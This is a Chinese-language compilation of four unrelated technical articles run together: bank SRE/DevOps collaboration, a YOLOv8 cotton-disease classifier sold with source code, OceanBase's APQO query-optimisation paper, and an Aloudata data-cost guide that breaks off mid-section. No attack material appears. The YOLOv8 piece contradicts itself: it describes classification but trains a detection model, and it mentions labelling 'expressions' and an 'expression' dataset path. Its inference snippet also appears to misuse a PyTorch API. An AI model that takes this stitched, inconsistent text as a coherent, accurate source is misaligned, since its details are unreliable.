2026年1月

本文来自腾讯蓝鲸智云社区用户: CanWay

直达原文:【SRE转型】银行SRE和DevOps团队的协作

摘要:本文通过深入分析SRE和DevOps在银行中的角色与职责,详细阐述了它们在核心协作点上的紧密配合,尤其是在自动化流程、SLO与CI/CD的结合、故障响应、性能优化等关键领域的协作。通过表格的方式,我们展示了在软件全生命周期中,SRE与DevOps如何协同工作,确保银行系统的高可用性、弹性和持续创新。

涉及关键词:银行运维,SRE转型,DevOps协同

01.引言

在现代银行的信息化转型过程中,系统的稳定性、性能和灵活性变得尤为重要。随着金融科技的快速发展,银行面临着不断变化的市场需求和技术挑战,传统的运维模式已经难以满足新业务需求。为了提高系统的可靠性、降低故障恢复时间,并支持快速创新,银行开始逐渐采用Site Reliability Engineering(SRE)与DevOps模式。这两种模式虽各具特点,但在提升系统可靠性、加速交付和推动自动化方面有着共同的目标和深度的协同潜力。

1)SRE和DevOps的背景

SRE起源于Google,它提出了一个通过工程化手段提升服务可靠性的全新模式,强调服务级别目标(SLO)、自动化运维、容量规划和故障响应等方面的实践。而DevOps则是一种文化和实践模式,旨在促进开发与运维之间的紧密协作,推动持续集成与持续交付(CI/CD),并通过自动化工具链提升系统开发和运维的效率。两者的结合,为金融行业的数字化转型提供了有效的支持,尤其是在保证高可用性和灵活性的同时,能够支持快速部署和频繁迭代。

2)银行面临的挑战

银行的运维面临着多方面的挑战。首先,银行系统的业务性质决定了其对稳定性、可用性和合规性的高要求。例如,支付系统、账户管理系统和核心业务系统通常涉及大量敏感数据,一旦发生故障,不仅会影响用户体验,还可能引发严重的合规风险。其次,随着互联网金融的崛起,银行的技术架构逐渐向分布式系统转型,增加了系统的复杂性和维护难度。最后,银行对业务的快速响应能力要求越来越高,而传统的运维模式和技术架构往往难以支持这种需求。

为了应对这些挑战,银行需要在系统设计、开发流程、运维管理等方面进行持续改进。SRE与DevOps的结合,通过增强的自动化、系统可观测性以及跨部门协作,成为解决这些问题的有效途径。

02.银行SRE和DevOps的角色与职责

在现代银行的数字化转型中,SRE(Site Reliability Engineering)与DevOps是两个不可或缺的角色。虽然它们有不同的起源和重点,但都致力于通过技术手段提升系统可靠性、提升开发效率并支持快速交付。两者的角色和职责密切相关,相辅相成,确保银行系统在高压力、高频变化的环境中能持续稳定运行,并能够快速响应市场需求。理解SRE与DevOps的具体职责和核心作用是实现跨团队协作的基础。

1)SRE团队的主要职责

SRE起源于Google,其核心目的是通过工程化手段提升服务的可靠性与可用性。SRE团队通常由具备深厚技术背景的工程师组成,主要职责包括:

1.可靠性工程与SLO管理:可靠性是SRE的核心职责之一。SRE团队通过定义并管理服务级别目标(SLO),来确保系统能够达到预期的可用性和性能标准。通过设定SLO、服务级别指标(SLI)和错误预算(Error Budget),SRE团队可以有效地评估服务健康状况,做出合理的风险管理决策。银行系统需要高可用性,而SLO的管理能帮助确保系统在各种复杂情境下的稳定运行。

2.自动化与基础设施管理:自动化是SRE的一项重要原则,它帮助减少人为错误并提高效率。SRE团队负责实施自动化运维,涵盖了从自动化部署到自动化监控、自动化故障修复等多个领域。在银行的数字化转型过程中,自动化部署、容灾恢复和弹性扩容等能力,都是确保高可用性的关键。

3.容量规划与性能优化:SRE团队负责分析和预测系统的资源需求,进行容量规划,确保系统能够应对不断变化的负载。银行的核心系统、渠道服务和产品服务往往有极高的负载要求,SRE团队通过准确的容量规划,确保系统在业务高峰期仍能稳定运行。

4.事件响应与根因分析:当系统出现故障时,SRE团队负责快速响应并恢复服务。通过事件管理流程,SRE团队能够及时分析故障的根本原因,并提出改进措施,减少未来类似问题的发生。此外,SRE还会在事后进行根因分析(RCA),并通过后期回顾推动系统改进和防止故障重演。

5.持续改进与优化:SRE不仅仅是维持系统的稳定性,还致力于通过不断的系统优化和改进,提升服务的质量。通过监控系统健康、故障响应和容量扩展等方式,SRE团队可以发现潜在的瓶颈和问题,推动技术创新以提升系统的可扩展性和弹性。

2)DevOps团队的主要职责

DevOps(Development and Operations)是一种文化与实践模式,旨在打破开发与运维之间的壁垒,通过加强协作、自动化和持续反馈提升软件交付的速度和质量。DevOps团队的主要职责包括:

1.开发与运维的协作:DevOps的核心目标是打破开发与运维之间的隔阂。DevOps团队的职责之一是推动开发与运维团队之间的密切协作,确保从代码开发到部署上线的各个环节能够流畅对接。DevOps工程师会通过协作工具、自动化平台等手段,实现开发与运维之间的信息流动和责任共享。

2.持续集成与持续交付(CI/CD):DevOps团队负责设计和实施持续集成和持续交付(CI/CD)管道。这些自动化流程能够帮助银行系统在不断变化的环境中,快速、高效地交付新功能或修复。通过自动化测试、构建、部署等流程,DevOps确保了应用的稳定性和快速迭代。

3.基础设施即代码(IaC):基础设施即代码(IaC)是DevOps的核心实践之一。DevOps团队通过将基础设施的配置、管理和版本控制代码化,帮助银行实现基础设施的自动化管理和快速恢复。这样一来,银行可以根据需求迅速调整其基础设施,提升系统的灵活性和弹性。

4.敏捷开发与快速反馈:DevOps团队支持敏捷开发模式,通过快速反馈机制确保开发、测试、运维等各个环节能够协同工作。借助敏捷方法,DevOps帮助银行开发团队在不断变化的市场环境中,快速响应业务需求并优化产品。通过频繁的小范围迭代,银行能持续推动技术创新并提高产品质量。

3)SRE与DevOps的共同目标

尽管SRE和DevOps在职能上有所不同,但两者有着共同的目标:提升系统的可靠性、可用性和敏捷性。在银行业务中,SRE与DevOps不仅在各自的专业领域内发挥重要作用,还通过跨部门的协作,共同推进技术革新与业务发展。

1.提升系统可靠性:通过精细化的监控、快速响应机制和故障分析,确保系统在高压力的环境下持续运行。

2.推动自动化与效率:SRE与DevOps都注重自动化,推动从代码部署到故障恢复的各个环节的自动化,以提高运维效率和开发速度。

3.加速产品交付:通过高效的CI/CD管道、自动化工具链,缩短开发和运维之间的周期,支持银行产品快速上市。

03.SRE和DevOps的核心协作点

SRE与DevOps虽然各自有独立的职责和重点,但它们的目标是高度一致的:提升系统可靠性、加速交付,并通过自动化和工程化手段优化运营效率。在银行的数字化转型中,SRE与DevOps之间的协作至关重要,只有两者紧密配合,才能确保银行系统在快速变化的市场环境中持续提供高可靠性、高性能的服务。

以下是SRE与DevOps的核心协作点,这些协作不仅能提升团队间的工作效率,还能推动银行系统的持续改进和创新。

1)自动化流程与工具链协作

自动化是SRE与DevOps共同的核心目标。DevOps致力于通过持续集成(CI)和持续交付(CD)来加速代码的交付速度,而SRE则通过自动化运维和故障恢复等手段,确保系统在持续变化中保持可靠性。

DevOps负责

  • 设计并实现CI/CD管道,通过自动化构建、测试和部署,提升开发效率。
  • 在开发流程中加入自动化测试,确保代码质量和功能的稳定性。

SRE负责

  • 自动化基础设施管理,包括自动扩容、自动化故障恢复等,保证系统在高负载或故障时能迅速恢复。
  • 通过自动化监控和警报管理,实时监控系统健康状态,确保任何异常都能被及时发现并处理。

协作点:SRE与DevOps需要共同选择合适的工具链和自动化平台。例如,SRE与DevOps可以协作使用容器编排工具来实现自动扩容,或者使用自动化配置管理工具来管理基础设施。

2)SLO与CI/CD的结合

在DevOps中,持续交付要求开发团队能够频繁交付新功能,而在SRE中,服务级别目标(SLO)则确保系统在发布和更新过程中不会影响用户体验或系统稳定性。两者的结合至关重要,SLO可以作为DevOps管道中的一部分,帮助开发团队在发布过程中对可靠性进行严格把控。

DevOps负责

  • 集成SLO的评估到CI/CD管道中,在每次构建和部署时评估服务的可用性和性能。
  • 自动化回滚机制,以便在违反SLO的情况下,能够快速回滚到稳定的版本。

SRE负责

  • 设定SLO,并根据业务需求、用户期望以及系统架构确定合理的服务级别指标(SLI)。
  • 提供SLO达成情况的监控数据,及时反馈给开发团队,帮助其优化代码和部署策略。

协作点:SRE与DevOps共同定义和优化SLO,确保开发团队在交付新功能时不会牺牲系统的可靠性。通过自动化的测试和验证机制,DevOps团队能够快速检测和确认SLO是否达成,必要时能够触发自动回滚操作。

3)故障响应与问题解决

无论是SRE还是DevOps,都需要关注故障的快速响应和问题的根本原因分析。SRE侧重于通过系统设计、容量规划和实时监控确保系统的高可靠性,而DevOps则通过自动化工具链和敏捷开发实践确保快速交付和高效迭代。在发生故障时,SRE与DevOps的协作尤为重要。

DevOps负责

  • 实施故障预防措施,确保开发过程中通过自动化测试、静态代码分析等手段减少潜在问题的发生。
  • 在CI/CD管道中集成故障检测和回滚机制,确保发布的新版本不会影响系统稳定性。

SRE负责

  • 在故障发生后,SRE团队负责快速响应并进行问题根因分析,提供改进建议,避免类似问题再次发生。
  • 通过事件管理流程协调DevOps团队的恢复工作,并结合SLO、SLI等指标,评估故障的影响范围和恢复优先级。

协作点:SRE与DevOps在故障响应过程中需要紧密合作,SRE提供针对故障的分析与优化方案,DevOps则可以快速实施修复或回滚操作,确保业务连续性。通过集成自动化工具和事件管理平台,两者可以更高效地协调工作。

4)容量规划与性能优化

在银行的核心系统中,容量规划和性能优化是确保高可用性和高性能的关键。SRE与DevOps可以通过协作共同确保系统能够满足不断变化的业务需求。

DevOps负责

  • 在CI/CD过程中,优化系统性能,确保代码上线前经过性能测试。
  • 通过容器化技术和自动化管理,确保开发与生产环境的一致性,减少性能差异。

SRE负责

  • 根据业务的增长预测,进行容量规划,确保系统资源能够根据需求动态扩展。
  • 通过精细化的监控和性能分析,发现性能瓶颈,并提供改进方案。

协作点:SRE与DevOps团队可以一起协作进行性能测试和容量规划,DevOps提供相关的部署和测试支持,SRE则根据实时监控数据进行容量扩展和性能调优,确保系统始终保持最佳的性能状态。

5)文化与协作机制的推动

SRE和DevOps都强调团队协作和文化建设。特别是在银行这样的复杂环境中,SRE与DevOps的密切合作不仅限于技术层面,还包括文化层面的融合与互动。

DevOps负责

  • 推动开发和运维团队之间的协作文化,确保两者在跨职能的工作中紧密配合。
  • 促进敏捷开发实践,快速迭代和频繁交付。

SRE负责

  • 提供系统可靠性的文化理念,倡导“容错与持续改进”的理念,帮助团队不断提升系统稳定性。
  • 支持DevOps团队在快速发布新版本时,确保不妥协系统的可靠性。

协作点:DevOps与SRE在文化上的共识可以进一步促进跨部门的协作。通过定期的沟通、共享目标和成功案例,推动两个团队在技术和文化层面的融合,形成高度协同的工作方式。

以上为SRE和DevOps团队的核心协作点。

从软件生命周期的视角来看,可以参考下面的分工表组织两个团队的协作,通过将每个生命周期阶段的任务拆解为具体的步骤,可以清晰地看到DevOps和SRE如何在软件开发、测试、部署和运维中协同合作,确保系统能够高效开发并维持高可用性和高性能。

两者在每个阶段的密切配合,不仅提高了交付速度,还保证了系统的稳定性和可靠性,从而为金融行业的技术团队提供了清晰的协作框架,推动了银行业务的持续创新与优化。
在这里插入图片描述

在这里插入图片描述

04.总结

在银行的数字化转型和技术创新的过程中,SRE和DevOps两种模式的结合为银行系统的稳定性、性能和敏捷性提供了强大的支撑。通过推动跨团队的协作、增强自动化水平、确保系统可靠性,SRE和DevOps不仅优化了软件生命周期中的各个环节,还促进了银行运维管理的现代化与高效化。

然而,要实现SRE与DevOps的高效协作,银行必须注重团队文化的建设,促进开发与运维团队之间的跨职能合作。同时,需要在技术选型、自动化工具链、监控系统等方面加大投入,确保两者在实践中能够发挥各自的优势,互为补充,共同推动银行业务的数字化转型和持续优化。

总的来说,SRE和DevOps不仅是银行IT运维与开发流程的优化工具,更是推动银行技术创新、提升系统可靠性、缩短开发周期和加速产品上市的重要实践模式。未来,随着技术的不断进步,SRE和DevOps的深度协作将成为银行实现高效、可持续发展的关键因素。

基于YOLOv8的棉花病害图像分类项目|完整源码数据集+PyQt5界面+完整训练流程+开箱即用!

源码包含:完整YOLOv8训练代码+数据集(带标注)+权重文件+直接可允许检测的yolo检测程序+直接部署教程/训练教程

项目摘要

本项目基于 YOLOv8 图像分类模型,构建了一套面向棉花病害智能识别的完整解决方案。项目以棉花田间实拍数据为基础,针对病害棉花植株、病害棉花叶片、健康棉花植株、健康棉花叶片四大类别进行精准分类识别,并通过 PyQt5 可视化界面 实现模型推理结果的直观展示与交互操作。

项目不仅提供了完整可复现的训练流程,还配套了标准化数据集、模型权重文件以及即用型推理程序,支持图片、文件夹、视频流等多种输入形式,真正做到从数据准备、模型训练到应用部署的一站式落地。该系统可广泛应用于农业病害监测、作物健康评估以及智能农业辅助决策等实际场景,具备较强的工程实用价值与扩展潜力。

前言

棉花作为重要的经济作物之一,其生长过程极易受到病害侵袭。传统的病害识别方式主要依赖人工经验,不仅效率低,而且受主观因素影响较大,难以满足现代农业对规模化、智能化、精准化管理的需求。

随着深度学习与计算机视觉技术的快速发展,基于图像的作物病害识别逐渐成为研究与应用热点。其中,YOLOv8 在特征提取效率、模型推理速度以及部署友好性方面表现突出,非常适合用于农业场景下的轻量级智能识别系统构建。

在此背景下,本项目以 YOLOv8 图像分类能力 为核心,结合 PyQt5 桌面端界面开发,从工程实战角度出发,完整展示了一个棉花病害分类系统从“数据集 → 训练 → 推理 → 可视化应用”的全流程实现,旨在为农业 AI 初学者、科研人员及工程开发者提供一个可直接参考和复用的实践范例。

一、软件核心功能介绍及效果演示

1. 多类别棉花病害图像分类

系统基于训练完成的 YOLOv8 分类模型,能够对输入的棉花图像进行自动分析,并准确判别其所属类别,包括:

  • 病害棉花植株
  • 病害棉花叶片
  • 健康棉花植株
  • 健康棉花叶片

模型在复杂光照、不同拍摄角度和多样生长阶段下依然保持良好的分类稳定性,适用于真实田间环境。


2. 多种输入方式支持

软件支持多种常见数据输入形式,满足不同使用场景需求:

  • 单张图片识别:快速查看单张棉花图像的分类结果
  • 文件夹批量识别:对大量图片进行自动批处理分析
  • 视频文件识别:对采集的视频进行逐帧分类判断
  • 摄像头实时识别:适用于实时巡检与现场演示

3. PyQt5 可视化界面展示

项目采用 PyQt5 构建桌面级可视化界面,实现了模型推理过程的图形化呈现:

  • 原始图像实时显示
  • 分类结果与置信度同步展示
  • 操作逻辑清晰,界面简洁直观
  • 无需命令行基础即可上手使用

即使是非算法背景的用户,也可以通过界面快速体验 AI 模型的实际效果。


4. 完整训练与部署流程

项目源码中详细包含:

  • 数据集组织结构说明
  • YOLOv8 分类模型训练脚本
  • 模型参数配置与训练流程
  • 权重加载与推理代码
  • 本地运行与部署说明

用户可在此基础上,快速替换为自己的农业病害数据集,实现二次训练与功能扩展。


5. 效果演示说明

在实际运行过程中,系统能够在毫秒级完成单张图像的分类推理,并在界面中即时给出识别结果与对应置信度。通过对比不同类别样本的识别效果,可以直观验证模型在棉花病害识别任务中的实用性与准确性。

二、软件效果演示

为了直观展示本系统基于 YOLOv8 模型的检测能力,我们设计了多种操作场景,涵盖静态图片、批量图片、视频以及实时摄像头流的检测演示。

(1)单图片检测演示

用户点击“选择图片”,即可加载本地图像并执行检测:

image-20260113011138205


(2)多文件夹图片检测演示

用户可选择包含多张图像的文件夹,系统会批量检测并生成结果图。

image-20260113011239520


(3)视频检测演示

支持上传视频文件,系统会逐帧处理并生成目标检测结果,可选保存输出视频:

image-20260113011350975


(4)摄像头检测演示

实时检测是系统中的核心应用之一,系统可直接调用摄像头进行检测。由于原理和视频检测相同,就不重复演示了。

image-20260113011359782


(5)保存图片与视频检测结果

用户可通过按钮勾选是否保存检测结果,所有检测图像自动加框标注并保存至指定文件夹,支持后续数据分析与复审。

image-20260113011415250

三、模型的训练、评估与推理

YOLOv8是Ultralytics公司发布的新一代目标检测模型,采用更轻量的架构、更先进的损失函数(如CIoU、TaskAlignedAssigner)与Anchor-Free策略,在COCO等数据集上表现优异。
其核心优势如下:

  • 高速推理,适合实时检测任务
  • 支持Anchor-Free检测
  • 支持可扩展的Backbone和Neck结构
  • 原生支持ONNX导出与部署

3.1 YOLOv8的基本原理

YOLOv8 是 Ultralytics 发布的新一代实时目标检测模型,具备如下优势:

  • 速度快:推理速度提升明显;
  • 准确率高:支持 Anchor-Free 架构;
  • 支持分类/检测/分割/姿态多任务
  • 本项目使用 YOLOv8 的 Detection 分支,训练时每类表情均标注为独立目标。

YOLOv8 由Ultralytics 于 2023 年 1 月 10 日发布,在准确性和速度方面具有尖端性能。在以往YOLO 版本的基础上,YOLOv8 引入了新的功能和优化,使其成为广泛应用中各种物体检测任务的理想选择。

image-20250526165954475

YOLOv8原理图如下:

image-20250526170118103

3.2 数据集准备与训练

采用 YOLO 格式的数据集结构如下:

dataset/
├── images/
│   ├── train/
│   └── val/
├── labels/
│   ├── train/
│   └── val/

每张图像有对应的 .txt 文件,内容格式为:

4 0.5096721233576642 0.352838390077821 0.3947600423357664 0.31825755058365757

分类包括(可自定义):

image-20260113011435860

3.3. 训练结果评估

训练完成后,将在 runs/detect/train 目录生成结果文件,包括:

  • results.png:损失曲线和 mAP 曲线;
  • weights/best.pt:最佳模型权重;
  • confusion_matrix.png:混淆矩阵分析图。
若 mAP@0.5 达到 90% 以上,即可用于部署。

在深度学习领域,我们通常通过观察损失函数下降的曲线来评估模型的训练状态。YOLOv8训练过程中,主要包含三种损失:定位损失(box_loss)、分类损失(cls_loss)和动态特征损失(dfl_loss)。训练完成后,相关的训练记录和结果文件会保存在runs/目录下,具体内容如下:

image-20260113011450100

3.4检测结果识别

使用 PyTorch 推理接口加载模型:

import cv2
from ultralytics import YOLO
import torch
from torch.serialization import safe_globals
from ultralytics.nn.tasks import DetectionModel

# 加入可信模型结构
safe_globals().add(DetectionModel)

# 加载模型并推理
model = YOLO('runs/detect/train/weights/best.pt')
results = model('test.jpg', save=True, conf=0.25)

# 获取保存后的图像路径
# 默认保存到 runs/detect/predict/ 目录
save_path = results[0].save_dir / results[0].path.name

# 使用 OpenCV 加载并显示图像
img = cv2.imread(str(save_path))
cv2.imshow('Detection Result', img)
cv2.waitKey(0)
cv2.destroyAllWindows()

预测结果包含类别、置信度、边框坐标等信息。

image-20260113011506053

四.YOLOV8+YOLOUI完整源码打包

本文涉及到的完整全部程序文件:包括python源码、数据集、训练代码、UI文件、测试图片视频等(见下图),获取方式见【4.2 完整源码下载】:

4.1 项目开箱即用

作者已将整个工程打包。包含已训练完成的权重,读者可不用自行训练直接运行检测。

运行项目只需输入下面命令。

python main.py

读者也可自行配置训练集,或使用打包好的数据集直接训练。

自行训练项目只需输入下面命令。

yolo detect train data=datasets/expression/loopy.yaml model=yolov8n.yaml pretrained=yolov8n.pt epochs=100 batch=16 lr0=0.001

4.2 完整源码

至项目实录视频下方获取:https://www.bilibili.com/video/BV1g1rLBAEix/

image-20250801135823301

包含:

📦完整项目源码

📦 预训练模型权重

🗂️ 数据集地址(含标注脚本)

总结

本项目基于 YOLOv8 图像分类模型 构建了完整的棉花病害识别系统,覆盖从 数据集准备 → 模型训练 → 推理部署 → 可视化应用 的全流程。通过整合 PyQt5 图形界面,用户无需深厚的编程基础即可实现图片、视频及实时摄像头输入的病害分类操作。

系统在实地采集的棉花叶片和植株样本上表现出较高的识别准确率,能够有效辅助农业病害监测、作物健康评估与精准防治研究。项目不仅提供了可直接开箱使用的训练脚本和模型权重,还为二次开发、数据扩展与应用场景定制提供了完整参考,具备较强的工程落地价值与实践指导意义。

摘要:
传统学习型参数化查询优化依赖静态计划缓存,面对查询参数分布漂移的动态负载时缓存易失效,导致 SQL 查询延迟显著升高。OceanBase 联合华东师大团队提出 APQO 自适应参数化查询优化框架,为首个支持计划缓存在线持续演化的学习型 PQO 方法。该框架通过离线训练基础预测模型、搭配在线轻量级校准器动态修正预测误差,实现计划缓存自适应更新。实验显示,其可将查询长尾延迟降低三个数量级,节省 40%–60% 的查询延迟,相关论文成功入选数据库顶会 SIGMOD2026。

日前,由 OceanBase 联合华东师范大学研究团队(蔡鹏教授、李思佳博士生)联合发表的论文《APQO:自适应参数化查询优化框架》登上数据库顶会—— SIGMOD2026。

SIGMOD 是 ACM 旗下的年度会议,是数据库领域公认的权威会议。在参数化查询优化领域,本论文提出的 APQO,是首个支持计划缓存在线持续演化的学习型PQO方法。

以下为论文介绍。

对于结构相同但参数不同的 SQL 查询(参数化查询),引入计划缓存(Plan Cache)可以让这些查询共享执行计划。在许多实际场景中,相比每次重新生成计划,直接从缓存中获取计划的开销通常至少低一个数量级,因此计划缓存能够显著降低计划生成成本,从而有效缩短 SQL 的响应时间。

在参数化查询优化(PQO)的相关研究中,学习型方法通常会基于历史工作负载离线准备好一组候选计划,并为这些固定的计划训练相应的计划选择模型。然而,当查询参数分布发生漂移(即动态工作负载)时,事先构建好的静态计划缓存中往往缺少真正适合当前查询的计划,缓存中糟糕计划的执行会导致 SQL 响应时间显著延长。

为了解决动态工作负载下静态计划缓存易失效的问题,本文提出 APQO,一个自适应的参数化查询优化框架,是首个支持计划缓存在线持续演化的学习型 PQO 方法。

简介

APQO 通过“持续演化的计划缓存”来处理动态参数化查询工作负载。框架由多个组件组成(图 1),协同实现对存在分布漂移的参数化查询工作负载的自适应处理。其核心创新在于:APQO 拥有面向动态计划缓存的计划选择能力。为实现这一能力,APQO 设计了离线训练的基础预测模型和在线训练的轻量级校准器模型,两者配合完成对动态计划缓存的智能决策.


图 1 APQO 框架图

自适应参数化查询优化

APQO 的整体工作流程包含离线和在线两个阶段。

在离线阶段,对于一个参数化查询模板及其对应的历史工作负载,APQO 首先使用贪心算法选取候选计划集合;随后,根据历史工作负载以及相应的优化器计划,训练基础预测模型。该基础预测模型用于预测参数化查询在不同计划下的执行性能,其中包含一个用于捕捉参数化计划性能特征的计划嵌入模型。

在在线阶段,APQO 会根据查询参数的分布特征为每个查询选择执行计划。对于参数分布已经完全偏离历史工作负载的查询,APQO 调用查询优化器生成新计划;如果当前缓存计划集中不存在该计划(或与之高度相似的计划),则将该计划加入缓存,以便后续查询重用。而对分布内的查询,APQO 使用基础预测模型和在线校准器,对缓存计划的性能进行预测,并据此选择合适的执行计划。

基础预测模型

基础预测模型的任务是在给定缓存计划和查询参数的情况下,预测该计划执行查询时的性能。尽管已有工作对查询性能预测问题进行了研究,但由于同一查询模板下不同可执行计划之间往往存在大量相似的局部结构,传统方法很难直接从中学习出计划之间的性能差异。

针对这一问题,APQO 设计了一种专门针对参数化查询计划的嵌入学习方法(图 2),用以增强预测模型的泛化能力。该计划嵌入表示能够捕捉不同计划之间潜在的性能相似性:当两种计划在多种参数绑定下表现出相近的执行性能时,它们在嵌入空间中的表示也会更为接近。

基于这一执行计划嵌入,APQO 构建基础预测模型,以计划嵌入与查询参数为输入,输出对应的执行性能预测,为后续的计划选择提供依据。


图 2 用于计划嵌入学习的孪生神经网络结构

在线校准器

嵌入技术的引入可以显著提升基础模型对新计划的性能预测能力。然而,由于基础模型对新计划的认知仍然有限,再加上在线执行环境中计划性能可能随时间波动,仅依赖离线训练仍难以达到理想效果。为此,APQO 提出了一种基于在线学习的校准模型,通过持续学习查询的真实执行反馈,对基础预测模型的预测误差(残差)进行动态修正。

在在线环境中,训练数据往往稀疏且呈偏态分布。为应对这一挑战,除了收集在线环境中特定“计划–查询组合”的真实性能反馈外,APQO 采用混合学习数据增强策略,将模拟数据与反馈数据相结合,在保证模型轻量化的同时,加速在线训练过程中的收敛。最终,在线校准模型与离线训练的基础预测模型协同工作,共同完成面向动态负载的计划选择任务。

性能成果

实验表明,在处理存在分布漂移的动态工作负载时,APQO 的自适应能力可以在保持较高计划缓存命中率的同时,将使用计划缓存的查询相对延迟的长尾分布相较于既有学习型 PQO 方法降低三个数量级。

这表明 APQO 能够有效缓解在动态工作负载场景中,由静态计划缓存失效所带来的劣质计划执行,延迟大幅升高的问题,使“计划重用”这一机制得以自然扩展到更加复杂的动态环境中。

基于公开 benchmark 和真实工业负载的评测结果显示,APQO 可以节省约 40%–60% 的查询延迟。

欢迎访问 OceanBase 官网获取更多信息:https://www.oceanbase.com/

本文首发于 Aloudata 官方技术博客:《智能制造数据资产瘦身指南:三步实现 TCO 最优,释放 50% 成本》转载请注明出处。

摘要:本文针对智能制造企业面临的数据存储成本高昂、分析效率低下问题,提出一套基于 NoETL 语义编织技术的现代化数据资产瘦身方法论。该方法论通过架构重构、智能治理、敏捷服务三个核心步骤,系统性解决数据冗余、指标口径混乱和需求响应迟缓三大痛点,旨在帮助企业实现总体拥有成本(TCO)降低 30%-50%,并显著提升数据服务效率。

面对海量质检数据与严苛的长期保存合规要求,智能制造企业正陷入数据存储成本高昂、分析效率低下的困境。本文提出一套融合“湖仓一体”与“AI 自动化数据管理”趋势的现代化数据资产瘦身方法论,通过引入 NoETL 语义编织技术,从架构重构、智能治理到敏捷服务三个步骤,系统性解决数据冗余、口径混乱与响应迟缓三大痛点,帮助企业实现总体拥有成本(TCO)降低 30%-50%,并释放超过 1/3 的服务器资源。本文面向制造业的数据架构师、CDO 及 IT 主管,提供一套可量化、可执行的实践指南。

前置条件:诊断你的“数据肥胖症”

在采取任何“瘦身”行动前,必须清晰量化当前数据资产的“肥胖”程度。对于智能制造企业,尤其是涉及精密制造(如半导体、汽车零部件)的领域,数据成本困局通常表现为三大核心症状,其根源在于传统的“烟囱式”宽表开发模式。

  1. 量化冗余:存储空间的“隐形浪费” 行业观察普遍指出,企业数据湖仓中的数据冗余平均在 5 倍以上。这并非危言耸听。以碳化硅衬底龙头天岳先进的实践为例,其单个厂区年增质检图片文件数量达 数亿至 10亿+级别,按《IATF16949 汽车行业质量管理体系标准》要求保存 15 年以上,数据总量将达 数百亿文件、数十 PB 的惊人规模。传统模式下,为满足不同报表需求,同一份DWD明细数据被反复加工成多个物理宽表(ADS 层),导致存储成本呈几何级数增长。
  2. 识别混乱:指标口径的“诸侯割据” 业务部门抱怨数据“不准”,根源在于指标逻辑被分散定义在物理表、ETL 脚本、BI 报表等各处。例如,“生产线 OEE(设备综合效率)”在 MES 系统、质量分析平台和总经理驾驶舱中可能存在三种不同的计算逻辑(停机时间定义、计划时间范围等),形成“同名不同义”的口径之困。这不仅影响决策质量,更在数据回溯和审计时带来巨大风险。
  3. 评估迟缓:需求响应的“周级排期” 当业务人员提出一个新的分析维度(如“按新供应商批次分析缺陷率”)时,传统流程需要数据团队重新设计宽表、编写 ETL 任务、进行数据验证,整个周期往往长达 数周。这种响应速度在快节奏的制造业竞争中,意味着错失质量改进和成本优化的黄金窗口期。

第一步:架构重构——从“物理宽表”到“虚拟业务事实网络”

要根治“数据肥胖症”,必须从源头改变数据生产和消费的架构模式。核心是摒弃为每个报表独立建物理宽表的“烟囱式”开发,转而构建一个基于明细数据的、逻辑统一的虚拟业务事实网络。

  • 技术原理:声明式语义编织 这一转变依赖于 语义引擎(Semantic Engine) 的核心能力。它直接在未打宽的 DWD 明细数据层上,通过 声明式策略,由用户在界面配置业务实体间的逻辑关联(Join)。系统据此在逻辑层面构建一个“虚拟明细大宽表”或“虚拟业务事实网络”,而非物理上复制和拼接数据。当查询请求到来时,引擎自动将基于指标和维度的逻辑查询,翻译并优化为对底层明细表的高效 SQL 执行。
  • 对比优势:从“固化”到“灵动”

    维度传统物理宽表模式虚拟业务事实网络模式
    开发方式为特定报表预先开发物理表,固化维度和粒度。基于明细数据声明逻辑关联,按需动态组合。
    冗余度高。多个宽表存储大量重复数据。极低。一份明细数据支撑所有逻辑视图。
    灵活性差。新增维度需重建宽表,周期长。极强。业务人员可拖拽任意已有维度进行分析。
    维护成本高。宽表逻辑变更需回刷数据,影响下游。低。逻辑变更集中管理,系统提示影响范围。
  • 湖仓一体适配:发挥底层架构优势 这种架构与现代化的 湖仓一体 平台天然契合。语义引擎直接对接湖仓中的 DWD 层明细数据(通常存储于低成本的 Parquet/ORC 格式文件中),充分利用其 存储与计算分离、弹性扩展的特性。企业无需推翻现有数据底座,即可在其上构建轻量、敏捷的语义层,实现“做轻数仓”。

第二步:智能治理——嵌入生产流程的自动化“瘦身”机制

架构重构解决了数据冗余的“存量”问题,而智能治理则通过自动化机制,从“增量”和“使用”环节持续优化,将治理动作从“事后稽核”变为“事中内嵌”。

1、定义即治理:从源头统一口径 在语义引擎中定义指标时,系统会基于指标的逻辑表达式(基础度量、业务限定、统计周期、衍生计算)进行 自动判重校验。如果发现逻辑完全一致的指标,会提示复用,从源头上杜绝“同名不同义”或“同义不同名”的问题,确保企业指标口径 100% 一致。这改变了以往靠文档和人工评审的低效治理模式。

2、智能物化加速:以空间换时间,复用降成本 为了平衡灵活性与查询性能,平台采用 声明式驱动的智能物化加速引擎。用户可以根据业务场景,声明对特定指标组合(如“日粒度-产品线-缺陷数量”)进行物化加速的需求和时效。系统据此自动编排物化任务,并具备关键能力:

  • 自动判重与合并:当多个查询或物化声明逻辑相似时,系统自动识别并合并计算任务,生成共享的物化表,避免重复计算与存储。
  • 三级物化机制:支持明细加速、汇总加速和结果加速,智能路由查询至最优的物化结果,实现亿级数据秒级响应(P90<1s)。
  • 透明运维:物化表的创建、更新、生命周期管理均由系统自动完成,极大减轻运维负担。

3、TCO 直接优化:来自实践的量化成效 这种“架构+治理”的组合拳,直接作用于企业的总体拥有成本(TCO)。例如,某头部券商在引入Aloudata CAN 后,实现了 基础设施成本节约 50%,并 释放了超过 1/3 的服务器资源。其本质是通过消除冗余的物理宽表开发与存储,以及智能复用计算资源,将存算成本从线性增长转变为可控的平缓增长。

第三步:敏捷服务——以统一指标API驱动业务价值变现

“瘦身”的最终目的不是节流,而是为了更好地赋能业务、创造价值。第三步是将治理后的、高质量的数据资产,通过标准、开放的方式,高效、安全地交付给各消费端。

1、统一服务出口:企业指标的“计算中心” 语义引擎平台成为企业指标资产的唯一“注册中心”和“计算中心”。它对外提供标准的 JDBC 接口 和 RESTful API,使得任何需要数据消费的工具或系统,都能通过统一的协议和口径获取数据。这彻底解决了数据出口分散、口径不一的历史难题。

2、赋能业务自助:激活“数据民主化” 业务人员和分析师无需编写 SQL,即可通过简单的拖拽操作,将已定义的“指标”与“维度”进行灵活组合,完成自助分析。例如,质量工程师可以快速分析“近一周各生产线、针对某新物料供应商的缺陷类型分布”。这种模式将大量常规分析需求从 IT 部门释放,显著提升业务响应速度,某央国企实践表明,业务自助可完成 80% 的数据查询和分析需求。

